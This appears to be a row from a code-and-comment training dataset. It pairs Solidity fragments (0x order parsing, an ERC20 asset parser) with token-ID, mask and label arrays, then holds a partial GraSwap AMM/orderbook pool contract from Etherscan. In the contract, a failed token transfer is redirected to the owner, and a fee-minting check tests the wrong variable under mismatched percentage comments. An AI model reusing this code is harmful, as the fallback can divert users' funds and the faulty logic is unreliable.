mstore(add(header, 128), mload(add(orderDataStart, 128))) // fillAmmount
}
return header;
}
/*
* Parses the bytes array into ZeroEx order
*
* | Data | Location |
* |----------------------------|-------------------------------|
* | makerAddress | 0 |
* | takerAddress | 32 |
* | feeRecipientAddress | 64 |
* | senderAddress | 96 |
* | makerAssetAmount | 128 |
* | takerAssetAmount | 160 |
* | makerFee | 192 |
* | takerFee | 224 |
* | expirationTimeSeconds | 256 |
* | salt | 288 |
* | makerAssetData | 320 |
* | takerAssetData | 320 + header.makerAssetLength |
*
* @param _ordersData Byte array of (multiple) 0x wrapper orders
* @param _header Header associated with current 0x order body to scan
* @param _offset Offset to start scanning for 0x order body
* @return LibOrder.Order 0x order struct
*/
function parseZeroExOrder(
bytes _ordersData,
OrderHeader memory _header,
uint256 _offset
)
internal
pure
returns (LibOrder.Order memory)
{
LibOrder.Order memory order;
uint256 orderDataStart = _ordersData.contentAddress().add(_offset);
assembly {
mstore(order, mload(orderDataStart)) // maker
mstore(add(order, 32), mload(add(orderDataStart, 32))) // taker
mstore(add(order, 64), mload(add(orderDataStart, 64))) // feeRecipient
mstore(add(order, 96), mload(add(orderDataStart, 96))) // senderAddress
mstore(add(order, 128), mload(add(orderDataStart, 128))) // makerAssetAmount
mstore(add(order, 160), mload(add(orderDataStart, 160))) // takerAssetAmount
mstore(add(order, 192), mload(add(orderDataStart, 192))) // makerFee
mstore(add(order, 224), mload(add(orderDataStart, 224))) // takerFee
mstore(add(order, 256), mload(add(orderDataStart, 256))) // expirationUnixTimestampSec
mstore(add(order, 288), mload(add(orderDataStart, 288))) // salt
}
uint256 takerAssetStart = _header.makerAssetDataLength.add(320);
order.makerAssetData = _ordersData.slice(
_offset.add(320),
_offset.add(takerAssetStart)
);
order.takerAssetData = _ordersData.slice(
_offset.add(takerAssetStart),
_offset.add(takerAssetStart).add(_header.takerAssetDataLength)
);
return order;
}
}
| * Parse token address from asset data @param _assetData Encoded asset data @return address Address of ERC20 asset address/ Ensure that the asset is ERC20 Return address | function parseERC20TokenAddress(
bytes _assetData
)
internal
pure
returns(address)
{
require(_assetData.readBytes4(0) == ERC20_SELECTOR);
return address(_assetData.readBytes32(4));
}
| 5,526,213 | [
1,
3201,
1147,
1758,
628,
3310,
501,
225,
389,
9406,
751,
282,
23306,
3310,
501,
327,
1758,
377,
5267,
434,
4232,
39,
3462,
3310,
1758,
19,
7693,
716,
326,
3310,
353,
4232,
39,
3462,
2000,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1109,
654,
39,
3462,
1345,
1887,
12,
203,
3639,
1731,
389,
9406,
751,
203,
565,
262,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
12,
2867,
13,
203,
565,
288,
203,
3639,
2583,
24899,
9406,
751,
18,
896,
2160,
24,
12,
20,
13,
422,
4232,
39,
3462,
67,
4803,
916,
1769,
203,
203,
3639,
327,
1758,
24899,
9406,
751,
18,
896,
2160,
1578,
12,
24,
10019,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-06
*/
// SPDX-License-Identifier: GPL
pragma solidity 0.6.12;
interface IPairFeeDistribution {
function addpair(address pair) external;
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library SafeMath256 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
This library defines a decimal floating point number. It has 8 decimal significant digits. Its maximum value is 9.9999999e+15.
And its minimum value is 1.0e-16. The following golang code explains its detail implementation.
func buildPrice(significant int, exponent int) uint32 {
if !(10000000 <= significant && significant <= 99999999) {
panic("Invalid significant")
}
if !(-16 <= exponent && exponent <= 15) {
panic("Invalid exponent")
}
return uint32(((exponent+16)<<27)|significant);
}
func priceToFloat(price uint32) float64 {
exponent := int(price>>27)
significant := float64(price&((1<<27)-1))
return significant * math.Pow10(exponent-23)
}
*/
// A price presented as a rational number
struct RatPrice {
uint numerator; // at most 54bits
uint denominator; // at most 76bits
}
library DecFloat32 {
uint32 public constant MANTISSA_MASK = (1<<27) - 1;
uint32 public constant MAX_MANTISSA = 9999_9999;
uint32 public constant MIN_MANTISSA = 1000_0000;
uint32 public constant MIN_PRICE = MIN_MANTISSA;
uint32 public constant MAX_PRICE = (31<<27)|MAX_MANTISSA;
// 10 ** (i + 1)
function powSmall(uint32 i) internal pure returns (uint) {
uint x = 2695994666777834996822029817977685892750687677375768584125520488993233305610;
return (x >> (32*i)) & ((1<<32)-1);
}
// 10 ** (i * 8)
function powBig(uint32 i) internal pure returns (uint) {
uint y = 3402823669209384634633746076162356521930955161600000001;
return (y >> (64*i)) & ((1<<64)-1);
}
// if price32=( 0<<27)|12345678 then numerator=12345678 denominator=100000000000000000000000
// if price32=( 1<<27)|12345678 then numerator=12345678 denominator=10000000000000000000000
// if price32=( 2<<27)|12345678 then numerator=12345678 denominator=1000000000000000000000
// if price32=( 3<<27)|12345678 then numerator=12345678 denominator=100000000000000000000
// if price32=( 4<<27)|12345678 then numerator=12345678 denominator=10000000000000000000
// if price32=( 5<<27)|12345678 then numerator=12345678 denominator=1000000000000000000
// if price32=( 6<<27)|12345678 then numerator=12345678 denominator=100000000000000000
// if price32=( 7<<27)|12345678 then numerator=12345678 denominator=10000000000000000
// if price32=( 8<<27)|12345678 then numerator=12345678 denominator=1000000000000000
// if price32=( 9<<27)|12345678 then numerator=12345678 denominator=100000000000000
// if price32=(10<<27)|12345678 then numerator=12345678 denominator=10000000000000
// if price32=(11<<27)|12345678 then numerator=12345678 denominator=1000000000000
// if price32=(12<<27)|12345678 then numerator=12345678 denominator=100000000000
// if price32=(13<<27)|12345678 then numerator=12345678 denominator=10000000000
// if price32=(14<<27)|12345678 then numerator=12345678 denominator=1000000000
// if price32=(15<<27)|12345678 then numerator=12345678 denominator=100000000
// if price32=(16<<27)|12345678 then numerator=12345678 denominator=10000000
// if price32=(17<<27)|12345678 then numerator=12345678 denominator=1000000
// if price32=(18<<27)|12345678 then numerator=12345678 denominator=100000
// if price32=(19<<27)|12345678 then numerator=12345678 denominator=10000
// if price32=(20<<27)|12345678 then numerator=12345678 denominator=1000
// if price32=(21<<27)|12345678 then numerator=12345678 denominator=100
// if price32=(22<<27)|12345678 then numerator=12345678 denominator=10
// if price32=(23<<27)|12345678 then numerator=12345678 denominator=1
// if price32=(24<<27)|12345678 then numerator=123456780 denominator=1
// if price32=(25<<27)|12345678 then numerator=1234567800 denominator=1
// if price32=(26<<27)|12345678 then numerator=12345678000 denominator=1
// if price32=(27<<27)|12345678 then numerator=123456780000 denominator=1
// if price32=(28<<27)|12345678 then numerator=1234567800000 denominator=1
// if price32=(29<<27)|12345678 then numerator=12345678000000 denominator=1
// if price32=(30<<27)|12345678 then numerator=123456780000000 denominator=1
// if price32=(31<<27)|12345678 then numerator=1234567800000000 denominator=1
function expandPrice(uint32 price32) internal pure returns (RatPrice memory) {
uint s = price32&((1<<27)-1);
uint32 a = price32 >> 27;
RatPrice memory price;
if(a >= 24) {
uint32 b = a - 24;
price.numerator = s * powSmall(b);
price.denominator = 1;
} else if(a == 23) {
price.numerator = s;
price.denominator = 1;
} else {
uint32 b = 22 - a;
price.numerator = s;
price.denominator = powSmall(b&0x7) * powBig(b>>3);
}
return price;
}
function getExpandPrice(uint price) internal pure returns(uint numerator, uint denominator) {
uint32 m = uint32(price) & MANTISSA_MASK;
require(MIN_MANTISSA <= m && m <= MAX_MANTISSA, "Invalid Price");
RatPrice memory actualPrice = expandPrice(uint32(price));
return (actualPrice.numerator, actualPrice.denominator);
}
}
library ProxyData {
uint public constant COUNT = 5;
uint public constant INDEX_FACTORY = 0;
uint public constant INDEX_MONEY_TOKEN = 1;
uint public constant INDEX_STOCK_TOKEN = 2;
uint public constant INDEX_GRA = 3;
uint public constant INDEX_OTHER = 4;
uint public constant OFFSET_PRICE_DIV = 0;
uint public constant OFFSET_PRICE_MUL = 64;
uint public constant OFFSET_STOCK_UNIT = 64+64;
uint public constant OFFSET_IS_ONLY_SWAP = 64+64+64;
function factory(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_FACTORY]);
}
function money(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_MONEY_TOKEN]);
}
function stock(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_STOCK_TOKEN]);
}
function graContract(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_GRA]);
}
function priceMul(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_MUL);
}
function priceDiv(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_DIV);
}
function stockUnit(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_STOCK_UNIT);
}
function isOnlySwap(uint[5] memory proxyData) internal pure returns (bool) {
return uint8(proxyData[INDEX_OTHER]>>OFFSET_IS_ONLY_SWAP) != 0;
}
function fill(uint[5] memory proxyData, uint expectedCallDataSize) internal pure {
uint size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := calldatasize()
}
require(size == expectedCallDataSize, "INVALID_CALLDATASIZE");
// solhint-disable-next-line no-inline-assembly
assembly {
let offset := sub(size, 160)
calldatacopy(proxyData, offset, 160)
}
}
}
interface IGraSwapFactory {
event PairCreated(address indexed pair, address stock, address money, bool isOnlySwap);
function createPair(address stock, address money, bool isOnlySwap) external returns (address pair);
function setFeeToAddresses(address _feeTo_1, address _feeTo_2, address _feeToPrivate) external;
function setFeeToSetter(address) external;
function setFeeBPS(uint32 bps) external;
function setPairLogic(address implLogic) external;
function allPairsLength() external view returns (uint);
function feeTo_1() external view returns (address);
function feeTo_2() external view returns (address);
function feeToPrivate() external view returns (address);
function feeToSetter() external view returns (address);
function feeBPS() external view returns (uint32);
function pairLogic() external returns (address);
function getTokensFromPair(address pair) external view returns (address stock, address money);
function tokensToPair(address stock, address money, bool isOnlySwap) external view returns (address pair);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IGraSwapBlackList {
// event OwnerChanged(address);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddedBlackLists(address[]);
event RemovedBlackLists(address[]);
function owner()external view returns (address);
// function newOwner()external view returns (address);
function isBlackListed(address)external view returns (bool);
// function changeOwner(address ownerToSet) external;
// function updateOwner() external;
function transferOwnership(address newOwner) external;
function addBlackLists(address[] calldata accounts)external;
function removeBlackLists(address[] calldata accounts)external;
}
interface IGraWhiteList {
event AppendWhiter(address adder);
event RemoveWhiter(address remover);
function appendWhiter(address account) external;
function removeWhiter(address account) external;
function isWhiter(address account) external;
function isNotWhiter(address account) external;
}
interface IGraSwapToken is IERC20, IGraSwapBlackList, IGraWhiteList{
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
// function multiTransfer(uint256[] calldata mixedAddrVal) external returns (bool);
function batchTransfer(address[] memory addressList, uint256[] memory amountList) external returns (bool);
}
interface IGraSwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IGraSwapPool {
// more liquidity was minted
event Mint(address indexed sender, uint stockAndMoneyAmount, address indexed to);
// liquidity was burned
event Burn(address indexed sender, uint stockAndMoneyAmount, address indexed to);
// amounts of reserved stock and money in this pair changed
event Sync(uint reserveStockAndMoney);
function internalStatus() external view returns(uint[3] memory res);
function getReserves() external view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID);
function getBooked() external view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID);
function stock() external returns (address);
function money() external returns (address);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint stockAmount, uint moneyAmount);
function skim(address to) external;
function sync() external;
}
interface IGraSwapPair {
event NewLimitOrder(uint data); // new limit order was sent by an account
event NewMarketOrder(uint data); // new market order was sent by an account
event OrderChanged(uint data); // old orders in orderbook changed
event DealWithPool(uint data); // new order deal with the AMM pool
event RemoveOrder(uint data); // an order was removed from the orderbook
// Return three prices in rational number form, i.e., numerator/denominator.
// They are: the first sell order's price; the first buy order's price; the current price of the AMM pool.
function getPrices() external returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator);
// This function queries a list of orders in orderbook. It starts from 'id' and iterates the single-linked list, util it reaches the end,
// or until it has found 'maxCount' orders. If 'id' is 0, it starts from the beginning of the single-linked list.
// It may cost a lot of gas. So you'd not to call in on chain. It is mainly for off-chain query.
// The first uint256 returned by this function is special: the lowest 24 bits is the first order's id and the the higher bits is block height.
// THe other uint256s are all corresponding to an order record of the single-linked list.
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external view returns (uint[] memory);
// remove an order from orderbook and return its booked (i.e. frozen) money to maker
// 'id' points to the order to be removed
// prevKey points to 3 previous orders in the single-linked list
function removeOrder(bool isBuy, uint32 id, uint72 positionID) external;
function removeOrders(uint[] calldata rmList) external;
// Try to deal a new limit order or insert it into orderbook
// its suggested order id is 'id' and suggested positions are in 'prevKey'
// prevKey points to 3 existing orders in the single-linked list
// the order's sender is 'sender'. the order's amount is amount*stockUnit, which is the stock amount to be sold or bought.
// the order's price is 'price32', which is decimal floating point value.
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32, uint32 id, uint72 prevKey) external payable;
// Try to deal a new market order. 'sender' pays 'inAmount' of 'inputToken', in exchange of the other token kept by this pair
function addMarketOrder(address inputToken, address sender, uint112 inAmount) external payable returns (uint);
// Given the 'amount' of stock and decimal floating point price 'price32', calculate the 'stockAmount' and 'moneyAmount' to be traded
function calcStockAndMoney(uint64 amount, uint32 price32) external pure returns (uint stockAmount, uint moneyAmount);
}
abstract contract GraSwapERC20 is IGraSwapERC20 {
using SafeMath256 for uint;
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1, "GraSwap: LOCKED");
_unlocked = 0;
_;
_unlocked = 1;
}
string private constant _NAME = "GraSwap-Share";
uint8 private constant _DECIMALS = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
function symbol() virtual external override returns (string memory);
function name() external view override returns (string memory) {
return _NAME;
}
function decimals() external view override returns (uint8) {
return _DECIMALS;
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(- 1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
// An order can be compressed into 256 bits and saved using one SSTORE instruction
// The orders form a single-linked list. The preceding order points to the following order with nextID
struct Order { //total 256 bits
address sender; //160 bits, sender creates this order
uint32 price; // 32-bit decimal floating point number
uint64 amount; // 42 bits are used, the stock amount to be sold or bought
uint32 nextID; // 22 bits are used
}
// When the match engine of orderbook runs, it uses follow context to cache data in memory
struct Context {
// this order is a limit order
bool isLimitOrder;
// the new order's id, it is only used when a limit order is not fully dealt
uint32 newOrderID;
// for buy-order, it's remained money amount; for sell-order, it's remained stock amount
uint remainAmount;
// it points to the first order in the opposite order book against current order
uint32 firstID;
// it points to the first order in the buy-order book
uint32 firstBuyID;
// it points to the first order in the sell-order book
uint32 firstSellID;
// the amount goes into the pool, for buy-order, it's money amount; for sell-order, it's stock amount
uint amountIntoPool;
// the total dealt money and stock in the order book
uint dealMoneyInBook;
uint dealStockInBook;
// cache these values from storage to memory
uint reserveMoney;
uint reserveStock;
uint bookedMoney;
uint bookedStock;
// reserveMoney or reserveStock is changed
bool reserveChanged;
// the taker has dealt in the orderbook
bool hasDealtInOrderBook;
// the current taker order
Order order;
// the following data come from proxy
uint64 stockUnit;
uint64 priceMul;
uint64 priceDiv;
address stockToken;
address moneyToken;
address graContract;
address factory;
}
// GraSwapPair combines a Uniswap-like AMM and an orderbook
abstract contract GraSwapPool is GraSwapERC20, IGraSwapPool {
using SafeMath256 for uint;
uint private constant _MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 internal constant _SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
// reserveMoney and reserveStock are both uint112, id is 22 bits; they are compressed into a uint256 word
uint internal _reserveStockAndMoneyAndFirstSellID;
// bookedMoney and bookedStock are both uint112, id is 22 bits; they are compressed into a uint256 word
uint internal _bookedStockAndMoneyAndFirstBuyID;
uint private _kLast;
uint32 private constant _OS = 2; // owner's share
uint32 private constant _LS = 3; // liquidity-provider's share
function internalStatus() external override view returns(uint[3] memory res) {
res[0] = _reserveStockAndMoneyAndFirstSellID;
res[1] = _bookedStockAndMoneyAndFirstBuyID;
res[2] = _kLast;
}
function stock() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.stock(proxyData);
}
function money() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.money(proxyData);
}
// the following 4 functions load&store compressed storage
function getReserves() public override view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) {
uint temp = _reserveStockAndMoneyAndFirstSellID;
reserveStock = uint112(temp);
reserveMoney = uint112(temp>>112);
firstSellID = uint32(temp>>224);
}
function _setReserves(uint stockAmount, uint moneyAmount, uint32 firstSellID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "GraSwap: OVERFLOW");
uint temp = (moneyAmount<<112)|stockAmount;
emit Sync(temp);
temp = (uint(firstSellID)<<224)| temp;
_reserveStockAndMoneyAndFirstSellID = temp;
}
function getBooked() public override view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID) {
uint temp = _bookedStockAndMoneyAndFirstBuyID;
bookedStock = uint112(temp);
bookedMoney = uint112(temp>>112);
firstBuyID = uint32(temp>>224);
}
function _setBooked(uint stockAmount, uint moneyAmount, uint32 firstBuyID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "GraSwap: OVERFLOW");
_bookedStockAndMoneyAndFirstBuyID = (uint(firstBuyID)<<224)|(moneyAmount<<112)|stockAmount;
}
function _myBalance(address token) internal view returns (uint) {
if(token==address(0)) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
// safely transfer ERC20 tokens, or ETH (when token==0)
function _safeTransfer(address token, address to, uint value, address graContract) internal {
if(value==0) {return;}
if(token==address(0)) {
// limit gas to 9000 to prevent gastoken attacks
// solhint-disable-next-line avoid-low-level-calls
to.call{value: value, gas: 9000}(new bytes(0)); //we ignore its return value purposely
return;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(_SELECTOR, to, value));
success = success && (data.length == 0 || abi.decode(data, (bool)));
if(!success) { // for failsafe
address graContractOwner = IGraSwapToken(graContract).owner();
// solhint-disable-next-line avoid-low-level-calls
(success, data) = token.call(abi.encodeWithSelector(_SELECTOR, graContractOwner, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "GraSwap: TRANSFER_FAILED");
}
}
// Give feeToAddresses some liquidity tokens if K got increased since last liquidity-changing
function _mintFee(uint112 _reserve0, uint112 _reserve1, uint[5] memory proxyData) private returns (bool feeOn) {
address feeTo_1 = IGraSwapFactory(ProxyData.factory(proxyData)).feeTo_1();
address feeTo_2 = IGraSwapFactory(ProxyData.factory(proxyData)).feeTo_2();
address feeToPrivate = IGraSwapFactory(ProxyData.factory(proxyData)).feeToPrivate();
feeOn = (feeTo_1 != address(0) && feeTo_2 != address(0) && feeToPrivate != address(0));
uint kLast = _kLast;
// gas savings to use cached kLast
if (feeOn) {
if (kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(_OS);
uint denominator = rootK.mul(_LS).add(rootKLast.mul(_OS));
uint liquidity = numerator / denominator;
if (liquidity > 0) {
uint liquidity_p1 = liquidity.div(4); // 10%
uint liquidity_p2 = liquidity.div(8); // 5%
uint liquidity_p3 = liquidity.mul(5).div(8); // 25%
if (liquidity_p1 > 0) {
_mint(feeTo_1, liquidity_p1);
}
if (liquidity_p2 > 0) {
_mint(feeTo_2, liquidity_p2);
}
if (liquidity_p2 > 0) {
_mint(feeToPrivate, liquidity_p3);
}
}
}
}
} else if (kLast != 0) {
_kLast = 0;
}
}
// mint new liquidity tokens to 'to'
function mint(address to) external override lock returns (uint liquidity) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint112 bookedStock, uint112 bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData));
uint moneyBalance = _myBalance(ProxyData.money(proxyData));
require(stockBalance >= uint(bookedStock) + uint(reserveStock) &&
moneyBalance >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
stockBalance -= uint(bookedStock);
moneyBalance -= uint(bookedMoney);
uint stockAmount = stockBalance - uint(reserveStock);
uint moneyAmount = moneyBalance - uint(reserveMoney);
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
uint _totalSupply = totalSupply;
// gas savings by caching totalSupply in memory,
// must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
